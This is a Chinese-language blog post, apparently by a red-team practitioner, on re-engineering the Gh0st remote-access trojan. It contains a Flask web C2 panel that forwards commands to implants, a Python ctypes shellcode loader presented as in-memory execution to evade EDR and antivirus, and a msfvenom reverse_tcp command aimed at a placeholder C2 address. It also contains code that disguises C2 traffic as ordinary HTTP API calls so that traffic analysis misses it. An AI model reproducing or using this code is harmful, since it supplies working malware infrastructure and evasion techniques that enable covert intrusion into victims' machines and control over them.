一、拆解Gh0st的架构,搞清楚它的骨头

Gh0st远控,曾经风靡一时的远程控制工具,凭借其强大的功能和简单的架构,在红队实战中留下了浓墨重彩的一笔。它的核心设计理念是轻量、隐蔽、灵活,这些特点让它非常适合后期渗透中对目标进行精细化操控。要对Gh0st进行二次开发,第一步必须先拆解它的架构,搞清楚它的骨头。

Gh0st的架构主要分为以下几个模块:

  • 控制端(Server): 红队人员用来操作目标机器的界面。
  • 客户端(Agent): 部署到目标机器上,用于接收命令并执行操作。
  • 通信协议: 控制端和客户端之间的心跳、数据传输、指令交互。
  • 功能模块: 如屏幕抓取、键盘记录、文件管理等。

Gh0st大部分功能基于C++编写,并通过Socket完成通信。它的通信协议是专有的,采用自定义封包格式,这也是它隐蔽性强的原因之一。了解这一点后,我们可以思考如何增强这些模块,比如加入协议加密、伪装流量等,从而提高抗检测能力。

二、重构控制端:Web化管理,让C2更灵活

黑客示意图

有一次,我在内网渗透中遇到一个场景:目标机器上部署了EDR(终端检测与响应系统),控制端的可执行文件被静态检测直接击杀。这个问题很棘手,但也给了我灵感——为什么不用一个Web化的控制端来替代传统的GUI程序?

黑客示意图

Web化的设计思路

  • 优点: 比起传统的桌面客户端,Web化管理更灵活,可以通过浏览器直接操作。此外,Web端可以轻松伪装成合法流量。
  • 实现方式: 使用Python的Flask框架搭建Web服务,后端通过Socket或WebSocket与客户端通信。

下面是一个简单的Web控制端的实现代码:

<pre><code class="language-python">from flask import Flask, request, jsonify import socket

app = Flask(__name__)

目标客户端的IP和端口

CLIENT_IP = &#039;192.168.1.100&#039; CLIENT_PORT = 5555

def send_command(command): &quot;&quot;&quot;通过Socket发送命令到客户端&quot;&quot;&quot; try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((CLIENT_IP, CLIENT_PORT)) s.send(command.encode(&#039;utf-8&#039;)) response = s.recv(1024) s.close() return response.decode(&#039;utf-8&#039;) except Exception as e: return str(e)

@app.route(&#039;/send&#039;, methods=[&#039;POST&#039;]) def send(): &quot;&quot;&quot;Web接口,用于发送命令&quot;&quot;&quot; data = request.json command = data.get(&#039;command&#039;) if not command: return jsonify({&#039;error&#039;: &#039;Command missing&#039;}), 400 result = send_command(command) return jsonify({&#039;result&#039;: result})

if __name__ == &#039;__main__&#039;: app.run(host=&#039;0.0.0.0&#039;, port=8080)</code></pre>

使用说明

  1. 启动上述代码后,Web服务会监听8080端口。
  2. 通过Postman或者其他工具发送POST请求到http://<你的C2地址>:8080/send,请求体为{"command": "your_command"}
  3. 服务端的代码会将命令通过Socket转发给Gh0st客户端,并返回结果。

这样,控制端就不再是一个容易被杀掉的可执行文件,而变成了一个Web应用。要隐藏C2流量,可以进一步伪装成合法服务,比如添加HTTPS和随机化URL路径。

黑客示意图

三、让客户端更隐蔽:内存马加载技术

在红队实战中,有很多时候客户端文件根本无法在目标机器上存活。为了绕过EDR和杀软,最好的方法就是让客户端在内存中运行,而不是写入磁盘。这就是内存马加载技术。

内存马的基本原理

  • 将恶意代码以脚本或模块的形式加载到内存中运行;
  • 通过进程注入或反射加载技术实现免杀;
  • 使用随机化的加载点和进程名来降低被检测的概率。

下面是一个用Python实现内存加载Gh0st客户端的示例:

<pre><code class="language-python">import ctypes import base64

Gh0st客户端的Shellcode(示例,实际需要编写或生成)

shellcode = ( b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b&quot; b&quot;\x52\x0c\x8b\x52\x14\x8b\x72\x28&quot; )

def inject(shellcode): &quot;&quot;&quot;通过VirtualAlloc加载Shellcode到内存并执行&quot;&quot;&quot; try: shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(shellcode), 0x3000, 0x40 ) ctypes.windll.kernel32.RtlMoveMemory( shellcode_ptr, shellcode, len(shellcode) ) thread_id = ctypes.windll.kernel32.CreateThread( None, 0, shellcode_ptr, None, 0, None ) ctypes.windll.kernel32.WaitForSingleObject(thread_id, -1) except Exception as e: print(f&quot;Injection failed: {str(e)}&quot;)

if __name__ == &quot;__main__&quot;: inject(shellcode)</code></pre>

如何生成Shellcode

可以使用msfvenom生成Gh0st客户端的Shellcode,并将其嵌入到上述代码中: <pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=&lt;你的C2地址&gt; LPORT=&lt;端口&gt; -f raw &gt; shellcode.bin</code></pre>

黑客示意图

四、协议伪装:让流量看起来很正常

Gh0st原版的通信协议虽然自定义,但仍然有明显特征。如果被流量分析工具捕捉到,比如Zeek或Splunk,很容易暴露。协议伪装的核心是让指令和数据看起来像合法流量,比如HTTP、DNS甚至是ICMP。

HTTP伪装示例

下面是一个伪装Gh0st流量为HTTP请求的示例代码: <pre><code class="language-python">import requests

def send_http_command(command): &quot;&quot;&quot;将命令伪装为HTTP请求发送&quot;&quot;&quot; url = &quot;http://target.com/api/v1/update&quot; # 伪装为合法的API headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&quot;, &quot;Content-Type&quot;: &quot;application/json&quot;, } payload = {&quot;data&quot;: command} response = requests.post(url, json=payload, headers=headers) return response.text

示例:发送的命令为&quot;list_files&quot;

print(send_http_command(&quot;list_files&quot;))</code></pre>

通过这种方式,流量分析工具很难判断这是一段恶意通信,因为它的表现和正常Web应用的API调用完全一致。

五、个人经验:红队的进化是不断迭代

在多年的红队实战中,我发现一个工具的生命周期很短,尤其是像Gh0st这种经典工具。它的功能再强大,如果不能随时代进化,就会像恐龙一样灭绝。因此,二次开发的意义不仅是技术的提升,更是对攻击思路的重新定义。

我建议在使用Gh0st的过程中,始终保持如下几个习惯:

  • 动态化: 不要使用固定的工具和方法,EDR的检测能力每天都在成长。
  • 模块化: 把功能拆分成独立模块,以便根据目标环境调整策略。
  • 隐蔽化: 隐藏自己永远是红队的第一要务,无论工具有多炫,都不能暴露自己。

这些经验是我在无数次攻防对抗中积累下来的,分享给大家,希望能对你的红队旅程有所帮助。